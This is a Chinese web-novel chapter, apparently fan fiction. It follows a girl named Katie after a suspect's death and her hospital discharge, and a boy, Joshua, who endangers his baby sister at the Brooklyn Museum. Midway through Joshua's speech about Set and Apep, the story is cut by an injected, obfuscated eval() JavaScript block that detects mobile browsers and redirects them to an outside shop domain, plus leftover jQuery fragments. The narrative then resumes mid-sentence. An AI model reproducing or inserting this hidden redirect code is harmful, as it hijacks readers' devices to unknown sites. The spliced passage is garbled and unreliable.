凯蒂始终说不清,布莱尔的死,究竟是不是她的诅咒造成的。

    等她收到消息时,布莱尔已经离世将近一周。

    警方发现尸体后,才从布莱尔父母口中撬开了部分信息,这些日子,布莱尔一直躲在已故的外祖母家中藏身,她的母亲,也只在她死前一周,去探望过她一次。

    “警长,我女儿绝不会自杀,绝对不可能!求求你们,找出害死她的人!我们按时纳税,养着你们警察,你们不能就这样置之不理!”

    年轻警员实在忍不下这番颠倒黑白的说辞,语气里带着毫不掩饰的讥讽,开口反驳。

    “可你之前明明跟我们说,你女儿从来没有回过家。”

    “住口。”年长的警员厉声打断了她,神色严肃,“死者无分好坏,但凡案件存有疑点,就绝不能草草定论、敷衍结案。”

    年轻警员抿了抿嘴,只得低头应声。

    年长警员转头看向情绪激动的老妇人,语气克制而公事公办地解释:“抱歉,夫人,我们不负责侦办这起死亡案。布莱尔是我方案件的关联嫌疑人,她的死因,会由专门的调查组接手核查。”

    “嫌疑人?她人都死了!”

    老妇人瞬间揪住了这个字眼,情绪骤然失控,尖利的哭喊骤然炸开。

    “就是你们!是你们调查、给我女儿打电话,逼得她出门,我的女儿才会死的!”

    年长警员眼神一凝,立刻追问:“什么电话?”

    ……

    “所以布莱尔的死,不是意外,也不是自杀……有可能是谋杀?”

    凯蒂睁着一双清亮的眼睛,轻声确认。

    年长警员看向她,缓缓道出调查结果。

    “是这样的。我们锁定布莱尔为嫌疑人之后,就立刻着手调查、监控她的全部通讯记录。可在她失踪之后,她没有向外发出过任何一通电话。直到她的尸体被发现,我们按照她母亲提供的线索,去搜查她藏身的外祖母老宅,排查那里的座机,才查到一通来自公共电话亭的来电。”

    看着凯蒂眼底的茫然,警员往常些许严肃的神色柔和下来。

    “没关系的,凯蒂,我知道你在为布莱尔的事情而感到自责,但这并不是你的错。”

    凯蒂心虚地眨了眨眼。

    不知道为什么,可能是从小到大,身边人总有人离去,她对于大多数人的死亡都报以一种无所谓的态度。

    “我知道。”她轻声说,“我只是很谢谢你,你是唯一一个愿意把真相告诉我的大人。我妈妈和德丝蕾从来不会,她们什么都瞒着我。”

    警员看着她乖巧安静的样子,语气愈发温和:“因为你是本案的相关当事人,我有义务告诉你实情,不过,你的妈妈和外婆只是太过担心你,不是不爱你。”

    “我知道的。”

    凯蒂顺着话头,轻声提起,“我妈妈说,等我养好状态,就让我回学校上学。”

    这话并非孩童单纯的雀跃。

    这件上学的提议是眼前的警员阿姨提出的。因此她想把妈妈答应自己的消息说出来,既帮妈妈在外人面前留住形象,也想顺着对方的心意,让她开心。

    效果立竿见影。

    警员闻言立刻笑了,眉眼都松了开来:“真的?那我们凯蒂,也算是因祸得福了。”

    ……

    “因祸得福?呵。”

    约书亚满脸写着不屑,嗤笑一声。

    凯蒂隐约察觉,自从这场风波过后,约书亚整个人的气场彻底变了。

    她说不清具体是哪里不一样。

    是话变多了?还是脾气更差了?

    她懒得深究。

    只要他还愿意陪着自己,他变成什么样都无所谓。

    “不管怎么样,我能回学校了,这就够了。”凯蒂语气轻淡,一副全然不在意的模样。

    约书亚微微眯起眼,盯着她散漫的样子,语气带着不容置喙的严肃:“你之前做的那些蠢事,绝对不准再碰第二次。”

    凯蒂随意地点了下头。

    她压根没放在心上,刀割在腿上的痛感历历在目,她本就打算换别的方式,自然不会再重蹈覆辙。

    “对了,你什么时候出院?”

    “明天。”

    “明天?”约书亚骤然怔住,满眼错愕。

    “嗯。”

    “你怎么现在才说?”

    “我现在没告诉你吗?今天又不是明天。”

    约书亚心头一沉,这个时间打乱了他所有计划,可他半句缘由都不能对凯蒂坦白。

    凯蒂捕捉到他沉下去的神色,心里微微发慌,看他这副模样,该不会明天没空来陪自己出院?一丝低落悄然漫上来。

    不等她多想,约书亚已经敛去所有情绪,语气郑重又笃定:“没事,我明天会来接你。”

    阴郁瞬间从凯蒂眼底散去,她立刻弯起眉眼,露出真切的笑意:“太好了!”

    日子也终于到了,出院这天。

    凯蒂整个人都要兴奋极了,腿上的伤也好了大半,用医生的话来说,凯蒂的自愈能力超乎常人。

    用德丝蕾的话来说,凯蒂如果没有生病,可以去当拳击手。

    当然,这句话一出就把凯茜气个半死。

    因为不单单是凯蒂的病,凯蒂的生父伊蒙,也就是凯茜异父异母的哥哥,曾经在少年时代是个拳击手。

    对此,凯茜可能会在未来几天不会给德丝蕾好脸色看了。

    凯蒂乖巧站在一旁,装作全然听不懂大人话的样子。可其实早在无数个母亲醉酒的深夜,只要她没睡着,就总能听见凯茜在她枕边,翻来覆去地絮叨那些腐烂又难堪的过往。

    “妈妈,我们能不能晚点走?我想跟医生护士道别,还有……我要等约书亚,他说好今天来接我。”

    一听到约书亚的名字,凯茜的神色瞬间绷紧,心头不自觉揪起,想起了之前的糟心事。

    “哎哟,咱们凯蒂现在有妈妈、有德丝蕾陪着还不够,还非得等约书亚来接呀?”德丝蕾挑着眉,故意逗她。

    凯茜却莫名动了气,语气也跟着失了分寸:“需要他接什么?我们自己难道回不去吗?”

    德丝蕾只当她还在为之前的事闹别扭、钻牛角尖,没往深处多想,打趣两句便转头安抚凯蒂:“没事,德丝蕾陪你一起等,不过可别拖得太晚了。”

    凯蒂立刻用力点头,眼里满是期待。

    另一边,布鲁克林博物馆的艺术展厅里,约书亚的心情却算不上轻松。

    “你在看什么?”

    黑兹尔注意到,约书亚盯着眼前的展品已经站了许久。

    “塞思。”约书亚抬手指向那幅画作,难得主动开口讲解,“他是混沌之神。”

    “塞思?混沌之神?”黑兹尔半是疑惑半是揶揄,“可怜的无神论者。”

    “塞思把欧西里斯切成了十四块。”约书亚神色一本正经,这番话却惹得黑兹尔面露愠色。

    “这个塞思也太恶劣了!”

    “可塞思并不全然是坏的,没有他,就不会有世间的秩序。他是唯一能够对抗魔神

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946721|214080||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    埃佩的神祇。埃佩才是最邪恶的存在,在暗黑的世界里,他会吞食自己的尖叫,以此当作养分。是不是很离奇?一旦被埃佩盯上,你就完了,你会彻底人间蒸发,在他的肠胃之中慢慢消散,没有人会记得你,因为你已经不复存在。”

    约书亚自顾自滔滔不绝地说着。

    黑兹尔原本戏谑的神情渐渐收敛,变得有些严肃,“摩西终结了四处流传的流言。”

    约书亚没有接她的话,转身继续在展厅里踱步观赏展品。

    周遭的氛围让黑兹尔浑身不自在,心底莫名憋得发闷。

    她伸手轻拍约书亚的肩膀,“亲爱的,我去趟洗手间,很快就回来,好吗?你就在这里等我。”

    她嘱咐他照看婴儿车里的妹妹莉莉,约书亚点了点头。

    可等黑兹尔折返回来,原地早已空空如也,本该守在这里的约书亚,连同婴儿车里的莉莉,全都不见踪影。

    一阵恐慌瞬间攫住了她,她慌忙在展厅四处奔走搜寻。

    布拉德现在在非常焦急的赶往布鲁克林博物馆,最近的事情令他一度想要自杀。

    艾比在某个深夜独自登上楼顶那间空置的房间,并且在她刚踏进去,房门便“哐当”一声自行锁死。

    导致本就精神状态不稳的艾比,在这密闭的黑暗里彻底崩溃,精神彻底垮掉。

    莉莉依旧会在半夜毫无征兆地尖叫;而约书亚,近来行为也处处透着诡异。

    一连串的变故压过来,从前对家事撒手不管的布拉德,不得不辞掉工作,静下心来重新审视自己这个家。

    他刚和艾比的弟弟内德道别,回到家里,就无意间看到了一盘磁带,他和艾比都酷爱录像,家里存着不少磁带,记录下一家人往日生活的碎片。

    望着磁带里镜头下和睦的一家人,布拉德眼眶发酸,泪水止不住往下淌,可看着看着,就越发的觉得不对劲。

    他猛地冲下楼,拦下一辆出租车。

    “去布鲁克林博物馆!”

    等他赶到博物馆,一眼就看见约书亚正推着莉莉的婴儿车,一步一步朝着台阶边缘挪去。

    “约书亚!”

    黑兹尔的嘶吼从后方炸开。

    婴儿车的轮子已经悬出台阶一半,又被硬生生拉了回来。

    “你在干什么?!”

    “你去哪了?”约书亚脸上一副天真无辜的模样,反问她。

    “你去哪了?”黑兹尔已经濒临崩溃。

    布拉德站在原地,心脏狂跳不止,他强迫自己冷静下来,快步走上前。

    黑兹尔看见他,满心的愧疚翻涌上来,“布拉德……对不起,布拉德。”

    “老天啊,妈妈。”布拉德的目光来回在约书亚和婴儿车里的莉莉之间打转,大脑一片空白。

    他想,他不得不去接受那些他根本不愿相信的现实。

    “对不起,布拉德,真的对不起。”

    黑兹尔吓得浑身发抖,只会一遍遍重复道歉。

    布拉德下意识和约书亚拉开距离,伸手抱起莉莉,转身走下台阶。

    约书亚静静看着眼前发生的一切,脸上没有半分波澜,只是伸手,牵住了黑兹尔的捂着痛哭的双眼的手。

    “你吓到我了。”黑兹尔望着自己的孙子,声音发颤。

    布拉德抱着莉莉走下台阶,正竭力哄着啼哭不止的婴儿。

    就在这时,一声凄厉的惨叫刺破空气,紧接着,是重物摔落台阶的闷响。

    “不!别——!”

    “啊——!”